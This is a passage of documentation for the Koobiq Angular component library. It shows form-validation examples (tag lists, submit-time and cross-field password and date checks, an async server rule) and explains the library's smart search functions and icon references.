                        (kbqTagInputTokenEnd)="reactiveInputOnCreate($event)"
                    />
                </kbq-tag-list>

                @if (inputTagList.errorState()) {
                    @if (tags.hasError('required')) {
                        <kbq-error>Required</kbq-error>
                    }

                    @if (tags.getError('latin'); as error) {
                        <kbq-error>Invalid tags: {{ error.invalidTags.join(', ') }}</kbq-error>
                    }
                }

                <kbq-hint>Provide only latin letters</kbq-hint>
            </kbq-form-field>

            <button type="submit" kbq-button>Submit</button>
        </form>
    `,
    providers: [
        kbqErrorStateMatcherProvider(ShowOnFormSubmitErrorStateMatcher)
    ],
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-margin-5xl layout-align-center-center layout-row'
    }
})
export class ValidationTagListExample implements OnInit {
    protected readonly reactiveForm: FormGroup;
    protected readonly separatorKeysCodes: number[] = [ENTER, COMMA];

    protected get tags(): AbstractControl {
        return this.reactiveForm.controls['reactiveTypeaheadValue'];
    }

    private readonly formBuilder = inject(FormBuilder);

    constructor() {
        this.reactiveForm = this.formBuilder.group({
            reactiveTypeaheadValue: this.formBuilder.control([], [Validators.required, latinValidator()])
        });
    }

    ngOnInit(): void {
        setTimeout(() => {
            this.reactiveForm.controls['reactiveTypeaheadValue'].setValue(['asd', 'efd']);
        });
    }

    reactiveInputOnCreate({ input, value }: KbqTagInputEvent): void {
        const control = this.reactiveForm.controls.reactiveTypeaheadValue;
        const updatedControlValue: string[] = control.value.slice();

        if ((value || '').trim()) {
            updatedControlValue.push(value.trim());
            control.patchValue(updatedControlValue);
            control.markAsDirty();
        }

        if (input) {
            input.value = '';
        }
    }

    reactiveInputOnRemoveTag(tag: string): void {
        const control = this.reactiveForm.controls['reactiveTypeaheadValue'];
        const controlValue: string[] = control.value.slice();
        const index = controlValue.indexOf(tag);

        if (index >= 0) {
            controlValue.splice(index, 1);
            control.patchValue(controlValue);
            control.markAsDirty();
        }
    }

    onSubmitReactiveForm(form: FormGroup) {
        console.log('onSubmitReactiveForm: ', form);
    }
}
```

##### File upload

File upload components support `ErrorStateMatcher` but have their own layout outside of `kbq-form-field`, so error output is handled differently from input-based controls. See all validation examples on the [File upload](https://koobiq.io/en/components/file-upload.md) page.

#### Custom ErrorStateMatcher

Use `ShowRequiredOnSubmitErrorStateMatcher` when you need split behavior:

- If the field is empty, don't show the `required` error until the form is submitted.
- If the field is filled, validate it on blur.

**Example: Validation on submit with custom matcher** (`validation-on-submit-custom-matcher`)

```ts validation-on-submit-custom-matcher-example.ts
import { ChangeDetectionStrategy, Component, signal, viewChildren } from '@angular/core';
import { FormControl, FormGroup, ReactiveFormsModule, Validators } from '@angular/forms';
import { KbqButtonModule } from '@koobiq/components/button';
import {
    kbqErrorStateMatcherProvider,
    KbqFormsModule,
    ShowRequiredOnSubmitErrorStateMatcher
} from '@koobiq/components/core';
import { KbqFormField } from '@koobiq/components/form-field';
import { KbqInputModule } from '@koobiq/components/input';
import { timer } from 'rxjs';

@Component({
    selector: 'validation-on-submit-custom-matcher-example',
    imports: [
        ReactiveFormsModule,
        KbqFormsModule,
        KbqInputModule,
        KbqButtonModule
    ],
    template: `
        <form class="kbq-form-vertical" [formGroup]="globalErrorForm" (ngSubmit)="submitForm()">
            <div class="kbq-form__fieldset">
                <div class="kbq-form__row">
                    <kbq-form-field>
                        <kbq-label>Name</kbq-label>
                        <input formControlName="firstName" kbqInput />
                    </kbq-form-field>
                </div>

                <div class="kbq-form__row layout-margin-bottom-xxl">
                    <kbq-form-field>
                        <kbq-label>Last name</kbq-label>
                        <input formControlName="lastName" kbqInput />
                    </kbq-form-field>
                </div>

                <div class="kbq-form__row layout-align-start-start">
                    <button
                        color="contrast"
                        kbq-button
                        type="submit"
                        [class.kbq-progress]="inProgress()"
                        [disabled]="inProgress()"
                    >
                        Submit
                    </button>
                </div>
            </div>
        </form>
    `,
    styles: `
        form {
            width: 320px;
        }
    `,
    providers: [
        kbqErrorStateMatcherProvider(ShowRequiredOnSubmitErrorStateMatcher)
    ],
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-margin-5xl layout-align-center-center layout-column'
    }
})
export class ValidationOnSubmitCustomMatcherExample {
    protected readonly inProgress = signal(false);
    protected readonly globalErrorForm = new FormGroup({
        firstName: new FormControl('', [Validators.minLength(5), Validators.required]),
        lastName: new FormControl('')
    });

    private readonly formFieldList = viewChildren(KbqFormField);

    protected submitForm(): void {
        if (this.globalErrorForm.invalid) {
            this.focusFirstInvalidControl();

            return;
        }

        this.inProgress.set(true);
        timer(1000).subscribe(() => {
            this.inProgress.set(false);
        });
    }

    private focusFirstInvalidControl(): void {
        setTimeout(() => {
            const invalidControl = this.formFieldList().find((control) => control.invalid);

            invalidControl?.focus();
        });
    }
}
```

#### Cross-field validation

Some rules compare more than one field: "confirm the password", "the new password must differ from the old
one", "the end date can't precede the start date". A single `FormControl` can't see its sibling's value. So
the natural home for a rule like this is a validator on the `FormGroup`, not on either field.

##### Why a FormGroup error highlights nothing

`<kbq-error>` and the red border come from one thing: the control's `errorState`.

`errorState` is just the return value of `ErrorStateMatcher.isErrorState(control, form)`. The `control` here
is always the field's own `FormControl` — the matcher never sees the group.

So a validator can make the group invalid, and the check still says no. No field turns red. No `<kbq-error>`
appears.

This is not a bug. It's a division of labor: validators decide **what** is invalid, the matcher decides
**when and where** to show it. The fix belongs on the matcher's side.

##### Recommended pattern

Keep the validator on the group — its logic and its error shape stay entirely yours.
`ShowOnCrossFieldErrorStateMatcher` adds the missing half: it shows a group-level error on the controls that
error concerns.

It needs one thing from you: a function that takes each error and returns the names of the controls it's
about, or `null` for an error it doesn't recognize. A name can point into a nested group
(`'passwords.confirm'`) or a `FormArray` row, and the rule itself can live on any ancestor group, not just
the immediate parent.

The error only shows once **every** control it concerns has been touched, or the form is submitted — showing
it earlier would turn a pair red while the user is still typing the second value.

That "any ancestor group" reach has a catch: each control only re-checks its own `errorState` from its own
`ngDoCheck`. If the named controls sit in separate `OnPush` components (each with its own `formGroupName`),
typing in one marks only that component's view dirty — a sibling component showing another named control
won't refresh on its own. Subscribe to the group's `statusChanges` and call `markForCheck()` on the affected
views if your form is split up that way.

**Example: Validation: cross-field** (`validation-cross-field-password`)

```ts validation-cross-field-password-example.ts
import { ChangeDetectionStrategy, Component, viewChildren } from '@angular/core';
import {
    AbstractControl,
    FormControl,
    FormGroup,
    FormGroupDirective,
    ReactiveFormsModule,
    ValidationErrors,
    Validators,
    type ValidatorFn
} from '@angular/forms';
import { KbqButtonModule } from '@koobiq/components/button';
import {
    kbqErrorStateMatcherProvider,
    KbqFormsModule,
    PasswordValidators,
    ShowOnCrossFieldErrorStateMatcher,
    ShowRequiredOnSubmitErrorStateMatcher
} from '@koobiq/components/core';
import { KbqFormField } from '@koobiq/components/form-field';
import { KbqInputModule } from '@koobiq/components/input';

/**
 * Payload every cross-field validator below publishes, so that a single `ErrorStateMatcher` can tell which
 * controls a group-level error belongs to. The names are relative to the group holding the error.
 */
type ExampleCrossFieldError = { controls: string[] };

const isExampleCrossFieldError = (value: unknown): value is ExampleCrossFieldError =>
    typeof value === 'object' && value !== null && 'controls' in value && Array.isArray(value.controls);

/**
 * Compares two control values for equality — both rules below only ever ask "same or not", never "which is
 * greater". The default (`===`) is enough for the strings here; an ordering comparator, needed for the date
 * pair in `validation-cross-field-dates-example.ts`, is a different job with a different default.
 */
type ExampleCompare = (a: unknown, b: unknown) => boolean;

const exampleValuesEqual: ExampleCompare = (a, b) => a === b;

// A control that is missing or still empty is not a cross-field problem: `Validators.required` owns that
// case, and reporting a mismatch against an empty field only gets in the user's way.
const isExampleValueEmpty = (value: unknown): boolean => value === null || value === undefined || value === '';

/** All the listed controls must hold the same value. */
const exampleMatchAll =
    (controls: string[], compare: ExampleCompare = exampleValuesEqual): ValidatorFn =>
    (group: AbstractControl): ValidationErrors | null => {
        const values = controls.map((name) => group.get(name)?.value);

        if (values.some(isExampleValueEmpty)) {
            return null;
        }

        const matches = values.every((value) => compare(value, values[0]));

        return matches ? null : { matchAll: { controls } satisfies ExampleCrossFieldError };
    };

/** All the listed controls must hold different values. */
const exampleDistinct =
    (controls: string[], compare: ExampleCompare = exampleValuesEqual): ValidatorFn =>
    (group: AbstractControl): ValidationErrors | null => {
        const values = controls.map((name) => group.get(name)?.value);

        if (values.some(isExampleValueEmpty)) {
            return null;
        }

        const distinct = values.every((value, index) =>
            values.every((other, otherIndex) => index === otherIndex || !compare(value, other))
        );

        return distinct ? null : { distinct: { controls } satisfies ExampleCrossFieldError };
    };

/**
 * The library matcher does the display half: it shows a group-level error on the controls that error concerns,
 * once every one of them is touched. All it needs is a way to map an error to its controls — here the
 * validators publish that list themselves, so the scope is a single lookup.
 *
 * `ShowRequiredOnSubmitErrorStateMatcher` as the second argument keeps the validation guide's rule for
 * `required` — an empty field shouldn't turn red on blur — without affecting the cross-field errors above,
 * which still reveal once every control they name has been touched, or on submit.
 */
const exampleCrossFieldMatcher = new ShowOnCrossFieldErrorStateMatcher(
    (_key, value) => (isExampleCrossFieldError(value) ? value.controls : null),
    new ShowRequiredOnSubmitErrorStateMatcher()
);

@Component({
    selector: 'validation-cross-field-password-example',
    imports: [ReactiveFormsModule, KbqInputModule, KbqButtonModule, KbqFormsModule],
    template: `
        <form #formDirective="ngForm" class="kbq-form-vertical" [formGroup]="form" (ngSubmit)="onSubmit(formDirective)">
            <div class="kbq-form__fieldset">
                <div class="kbq-form__row">
                    <kbq-form-field>
                        <kbq-label>Current password</kbq-label>
                        <input formControlName="currentPassword" kbqInputPassword />
                        <kbq-password-toggle />

                        @if (form.controls.currentPassword.hasError('required')) {
                            <kbq-error>Required</kbq-error>
                        }
                    </kbq-form-field>
                </div>

                <div class="kbq-form__row">
                    <kbq-form-field>
                        <kbq-label>New password</kbq-label>
                        <input formControlName="newPassword" kbqInputPassword />
                        <kbq-password-toggle />

                        @if (form.controls.newPassword.hasError('required')) {
                            <kbq-error>Required</kbq-error>
                        } @else if (form.controls.newPassword.hasError('minLength')) {
                            <kbq-error>Minimum 8 characters</kbq-error>
                        } @else if (form.hasError('distinct')) {
                            <kbq-error>The new password must differ from the current one</kbq-error>
                        }
                    </kbq-form-field>
                </div>

                <div class="kbq-form__row">
                    <kbq-form-field>
                        <kbq-label>Confirm new password</kbq-label>
                        <input formControlName="confirmPassword" kbqInputPassword />
                        <kbq-password-toggle />

                        @if (form.controls.confirmPassword.hasError('required')) {
                            <kbq-error>Required</kbq-error>
                        } @else if (form.hasError('matchAll')) {
                            <kbq-error>Passwords do not match</kbq-error>
                        }
                    </kbq-form-field>
                </div>

                <div class="kbq-form__row layout-align-start-start">
                    <button color="contrast" kbq-button type="submit">Change password</button>
                </div>
            </div>
        </form>
    `,
    styles: `
        form {
            width: 320px;
        }
    `,
    providers: [
        kbqErrorStateMatcherProvider(exampleCrossFieldMatcher)
    ],
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-margin-5xl layout-align-center-center layout-row'
    }
})
export class ValidationCrossFieldPasswordExample {
    protected readonly form = new FormGroup(
        {
            currentPassword: new FormControl('', Validators.required),
            newPassword: new FormControl('', [Validators.required, PasswordValidators.minLength(8)]),
            confirmPassword: new FormControl('', Validators.required)
        },
        {
            // Both rules live on the group and both are served by the same matcher. Their control sets differ
            // and overlap on `newPassword`, so the highlight follows the error payload rather than lighting
            // up the whole group.
            validators: [
                exampleDistinct(['currentPassword', 'newPassword']),
                exampleMatchAll(['newPassword', 'confirmPassword'])
            ]
        }
    );

    private readonly formFieldList = viewChildren(KbqFormField);

    protected onSubmit(formDirective: FormGroupDirective): void {
        if (this.form.invalid) {
            this.focusFirstInvalidControl();

            return;
        }

        // `FormGroupDirective.resetForm()`, not `this.form.reset()`: the latter only resets the model, not
        // the directive's own `submitted` flag, which would otherwise stay `true` forever and make every
        // cross-field error reveal immediately on the next attempt instead of waiting for both fields touched.
        formDirective.resetForm();
    }

    private focusFirstInvalidControl(): void {
        // The matcher re-evaluates `errorState` on the next change detection, triggered by the submit event
        // itself — deferred a tick so `formFieldList()` reports each field's post-submit invalid state.
        setTimeout(() => {
            const invalidControl = this.formFieldList().find((control) => control.invalid);

            invalidControl?.focus();
        });
    }
}
```

One matcher instance is enough for any number of rules on a group — the example above puts two rules on one
group, and both are shown by the same matcher.

##### Comparing values that are not primitives

The default `===` comparator silently fails on dates and other object values — use `DateAdapter`'s
`compareDate()` / `compareDateTime()` / `sameDate()`, or your own comparator, instead.

**Example: Validation: cross-field over dates** (`validation-cross-field-dates`)

```ts validation-cross-field-dates-example.ts
import { ChangeDetectionStrategy, Component, inject } from '@angular/core';
import {
    AbstractControl,
    FormControl,
    FormGroup,
    ReactiveFormsModule,
    ValidationErrors,
    type ValidatorFn
} from '@angular/forms';
import { LuxonDateModule } from '@koobiq/angular-luxon-adapter/adapter';
import {
    DateAdapter,
    kbqErrorStateMatcherProvider,
    KbqFormsModule,
    ShowOnCrossFieldErrorStateMatcher
} from '@koobiq/components/core';
import { KbqDatepickerModule } from '@koobiq/components/datepicker';
import { KbqFormFieldModule } from '@koobiq/components/form-field';
import { DateTime } from 'luxon';

/**
 * Payload the cross-field validator publishes, so that the `ErrorStateMatcher` can tell which controls a
 * group-level error belongs to. The names are relative to the group holding the error.
 */
type ExampleCrossFieldError = { controls: string[] };

const isExampleCrossFieldError = (value: unknown): value is ExampleCrossFieldError =>
    typeof value === 'object' && value !== null && 'controls' in value && Array.isArray(value.controls);

/**
 * Compares two control values. The default below is enough for strings and numbers; a date needs a comparator
 * of its own, which is the whole point of this example.
 */
type ExampleCompare = (a: unknown, b: unknown) => number;

/** The listed controls must hold values in ascending order. */
const exampleOrder =
    (controls: string[], compare: ExampleCompare): ValidatorFn =>
    (group: AbstractControl): ValidationErrors | null => {
        const values = controls.map((name) => group.get(name)?.value);

        // An empty control is `Validators.required`'s business, not an ordering problem.
        if (values.some((value) => value === null || value === undefined || value === '')) {
            return null;
        }

        const ordered = values.every((value, index) => index === 0 || compare(values[index - 1], value) <= 0);

        return ordered ? null : { order: { controls } satisfies ExampleCrossFieldError };
    };

/**
 * The library matcher does the display half: it shows a group-level error on the controls that error concerns,
 * once every one of them is touched. All it needs is a way to map an error to its controls — here the
 * validators publish that list themselves, so the scope is a single lookup.
 */
const exampleCrossFieldMatcher = new ShowOnCrossFieldErrorStateMatcher((_key, value) =>
    isExampleCrossFieldError(value) ? value.controls : null
);

@Component({
    selector: 'validation-cross-field-dates-example',
    imports: [ReactiveFormsModule, KbqFormFieldModule, KbqFormsModule, KbqDatepickerModule, LuxonDateModule],
    template: `
        <form class="kbq-form-vertical" [formGroup]="form">
            <div class="kbq-form__fieldset">
                <div class="kbq-form__row">
                    <kbq-form-field>
                        <kbq-label>Valid from</kbq-label>
                        <input formControlName="validFrom" [kbqDatepicker]="validFromPicker" />
                        <kbq-datepicker-toggle-icon kbqSuffix [for]="validFromPicker" />
                        <kbq-datepicker #validFromPicker />
                    </kbq-form-field>
                </div>

                <div class="kbq-form__row">
                    <kbq-form-field>
                        <kbq-label>Valid until</kbq-label>
                        <input formControlName="validUntil" [kbqDatepicker]="validUntilPicker" />
                        <kbq-datepicker-toggle-icon kbqSuffix [for]="validUntilPicker" />
                        <kbq-datepicker #validUntilPicker />

                        @if (form.hasError('order')) {
                            <kbq-error>The end of the period must not precede its start</kbq-error>
                        }
                    </kbq-form-field>
                </div>
            </div>
        </form>
    `,
    styles: `
        form {
            width: 320px;
        }

        /* The datepicker's own kbq-form-field is a fixed 136px — enough for a date, not for this message.
           Widening only the error to the form's width keeps the field compact and the message on one line. */
        kbq-error {
            width: 320px;
        }
    `,
    providers: [
        kbqErrorStateMatcherProvider(exampleCrossFieldMatcher)
    ],
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-margin-5xl layout-align-center-center layout-row'
    }
})
export class ValidationCrossFieldDatesExample {
    private readonly adapter = inject<DateAdapter<DateTime>>(DateAdapter);

    protected readonly form = new FormGroup(
        {
            validFrom: new FormControl<DateTime | null>(null),
            validUntil: new FormControl<DateTime | null>(null)
        },
        {
            // `<` happens to order dates correctly, because they coerce to a number, but `===` never reports
            // two of them as equal. Comparing them by hand would reject a period that starts and ends on the
            // same day; the adapter compares them properly, whichever date library is installed.
            validators: exampleOrder(['validFrom', 'validUntil'], (a, b) =>
                this.adapter.compareDate(a as DateTime, b as DateTime)
            )
        }
    );
}
```

##### When not to use it

One case doesn't belong in this pattern: "at least one of these fields must be filled". Don't mark any field
invalid for that rule — show a general alert above the form instead. See the
[validation guide](https://koobiq.io/en/other/validation.md) and its "One required field from several" example.

##### Asynchronous rules

A rule only the server can decide goes on the group as an `AsyncValidatorFn`. The answer arrives outside any
event on the field's own view — no click, no keystroke, nothing an `OnPush` view would normally react to — so
it won't re-check itself when the result lands, whether the error ends up on the group or on a child control.
It needs a signal from the group's `statusChanges`.

**Example: Validation: asynchronous cross-field** (`validation-cross-field-async`)

```ts validation-cross-field-async-example.ts
import { ChangeDetectionStrategy, Component, computed } from '@angular/core';
import { toSignal } from '@angular/core/rxjs-interop';
import {
    AbstractControl,
    type AsyncValidatorFn,
    FormControl,
    FormGroup,
    ReactiveFormsModule,
    ValidationErrors,
    Validators
} from '@angular/forms';
import {
    kbqErrorStateMatcherProvider,
    KbqFormsModule,
    ShowOnCrossFieldErrorStateMatcher
} from '@koobiq/components/core';
import { KbqInputModule } from '@koobiq/components/input';
import { map, Observable, of, timer } from 'rxjs';

/**
 * Payload the cross-field validator publishes, so that the `ErrorStateMatcher` can tell which controls a
 * group-level error belongs to. The names are relative to the group holding the error.
 */
type ExampleCrossFieldError = { controls: string[] };

const isExampleCrossFieldError = (value: unknown): value is ExampleCrossFieldError =>
    typeof value === 'object' && value !== null && 'controls' in value && Array.isArray(value.controls);

/**
 * Stands in for a policy check only the server can make — it is the side holding the password history and the
 * rules. A real implementation would call `HttpClient` here.
 */
const exampleCheckOnServer = (current: string, next: string): Observable<boolean> =>
    timer(800).pipe(map(() => !next.toLowerCase().includes(current.toLowerCase().slice(0, 4))));

/** Asks the server whether the pair of values is acceptable. */
const exampleAsyncRule =
    (controls: string[], check: (values: string[]) => Observable<boolean>): AsyncValidatorFn =>
    (group: AbstractControl): Observable<ValidationErrors | null> => {
        const values = controls.map((name) => group.get(name)?.value);

        // Never spend a request on a half-filled form. `0`/`false` would be real values here, but every
        // control in this example is a password, so the string check stays consistent with the other examples.
        if (values.some((value) => value === null || value === undefined || value === '')) {
            return of(null);
        }

        return check(values as string[]).pipe(
            map((accepted) => (accepted ? null : { tooSimilar: { controls } satisfies ExampleCrossFieldError }))
        );
    };

/**
 * The library matcher does the display half. While the group is PENDING its `errors` are null, so nothing is
 * shown until the answer arrives — which is what keeps the fields from flashing red and back on every round
 * trip.
 */
const exampleCrossFieldMatcher = new ShowOnCrossFieldErrorStateMatcher((_key, value) =>
    isExampleCrossFieldError(value) ? value.controls : null
);

@Component({
    selector: 'validation-cross-field-async-example',
    imports: [ReactiveFormsModule, KbqInputModule, KbqFormsModule],
    template: `
        <form class="kbq-form-vertical" [formGroup]="form">
            <div class="kbq-form__fieldset">
                <div class="kbq-form__row">
                    <kbq-form-field>
                        <kbq-label>Current password</kbq-label>
                        <input formControlName="currentPassword" kbqInputPassword />
                        <kbq-password-toggle />
                    </kbq-form-field>
                </div>

                <div class="kbq-form__row">
                    <kbq-form-field>
                        <kbq-label>New password</kbq-label>
                        <input formControlName="newPassword" kbqInputPassword />
                        <kbq-password-toggle />

                        <!--
                            Reading a signal fed by the group's status is also what makes this OnPush view
                            re-check itself when the answer arrives: the child controls' own status does not
                            change when the error lands on the group, so nothing else would mark the view dirty.
                        -->
                        @if (pending()) {
                            <kbq-hint>Checking with the server&hellip;</kbq-hint>
                        }

                        @if (form.hasError('tooSimilar')) {
                            <kbq-error>The new password is too similar to the current one</kbq-error>
                        }
                    </kbq-form-field>
                </div>
            </div>
        </form>
    `,
    styles: `
        form {
            width: 320px;
        }
    `,
    providers: [
        kbqErrorStateMatcherProvider(exampleCrossFieldMatcher)
    ],
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-margin-5xl layout-align-center-center layout-row'
    }
})
export class ValidationCrossFieldAsyncExample {
    protected readonly form = new FormGroup(
        {
            currentPassword: new FormControl('', Validators.required),
            newPassword: new FormControl('', Validators.required)
        },
        {
            asyncValidators: exampleAsyncRule(['currentPassword', 'newPassword'], ([current, next]) =>
                exampleCheckOnServer(current, next)
            ),
            // Without this the request would leave on every keystroke. It also means the model lags behind the
            // input until the field is left.
            updateOn: 'blur'
        }
    );

    private readonly status = toSignal(this.form.statusChanges, { initialValue: this.form.status });

    protected readonly pending = computed(() => this.status() === 'PENDING');
}
```

## Smart search

- Page: https://koobiq.io/en/other/search-smart/overview

Substring search works for simple queries, but it does not find a value whose query parts are separated by other characters. For example, the query `10.125 all` does not find `10.125.123.0/24 - all`, even though both fragments are in the value.

Smart search splits a multi-word query into tokens and looks for each token separately. That is why it finds the values that match the query.

The `normalizeSearchValue`, `tokenizeSearchQuery` and `createSearchPredicate` functions from `@koobiq/components/core` implement these principles. The implementation is opt-in and does not change how components behave by default. You can add it to your own filtering logic.

### Case

A case-sensitive search treats strings as different because of a difference in case, even though they mean the same. For comparison, `WORLD`, `world` and `World` are reduced to one value.

### Spaces at the edges

The algorithm removes spaces at the start and end of the entered string. Inner spaces are kept: removing or collapsing them can change the meaning of a phrase.

### Query tokens

A multi-word query is split into independent tokens. A value counts as a match only if all the tokens are found in it.

The order of tokens does not matter. For example, the queries `10.125 all` and `all 10.125` find the value `10.125.123.0/24 - all`.

Text in double quotes counts as one token. The spaces inside it take part in the comparison, so a quoted query requires an exact match of the phrase.

There is no minimum token length. For example, the token `a` finds `all`.

### Diacritics

Diacritics are marks above, below or inside letters. They include, for example, the marks in `é`, `ü` and `ç`.

Smart search separates diacritics from the base letters and compares the result without them. So the value `Café Wi-Fi` is found by the queries `cafe` and `café`, whichever of them is typed.

Punctuation is not removed. The characters `/`, `-` and `.` are kept, so IP ranges and similar values stay unchanged.

Match highlighting also has to take diacritic folding into account. The `kbqHighlightBackground` and `kbqHighlightBold` functions have a `foldDiacritics` argument. Pass `true` to it if the keywords were matched with folding, for example through `createSearchPredicate`. The query `cafe` then highlights `Café`.

### Search across several fields

Which fields take part in a search is decided by the calling code. It depends on the structure of the data.

A token counts as found if it matches at least one field. All tokens have to be found in at least one of the fields:

```ts
const matches = createSearchPredicate('10.125 guest');

matches(['10.125.11.0/24', 'guest network']); // true — "10.125" is found in the first field, "guest" in the second
matches(['10.125.11.0/24', 'production']); // false — "guest" is not found in any field
```

### Ranking results

The matching logic determines whether a value matches the query, but does not rank the results.

To order the results by relevance, add a separate ranking algorithm:

```ts
const tokens = tokenizeSearchQuery(query);
options.filter(createSearchPredicate(query)).sort(rankByRelevance(tokens));
```

### Limitations

Smart search does not correct typos. For example, the query `developr` does not find `developer`.

Edit-distance search is a separate task. A dedicated fuzzy-search library suits it better than extending your own matching logic.

### Examples

The component pages show how to enable smart search: [Autocomplete](https://koobiq.io/en/components/autocomplete.md#search), [Dropdown](https://koobiq.io/en/components/dropdown.md#menu-search), [Filter bar](https://koobiq.io/en/components/filter-bar.md#search), [Select](https://koobiq.io/en/components/select.md#list-with-search), [Tag autocomplete](https://koobiq.io/en/components/tag-autocomplete.md#search), [Timezone](https://koobiq.io/en/components/timezone.md#search), [Tree select](https://koobiq.io/en/components/tree-select.md#smart-search).

## Icons

- [Icons](https://raw.githubusercontent.com/koobiq/icons/12.5.0/llms.txt): the llms.txt of `@koobiq/icons` 12.5.0, with its packages, the naming of the icons and how to import them.
- [Icon reference](https://raw.githubusercontent.com/koobiq/icons/12.5.0/llms-full.txt): every icon name with its sizes, tags and imports.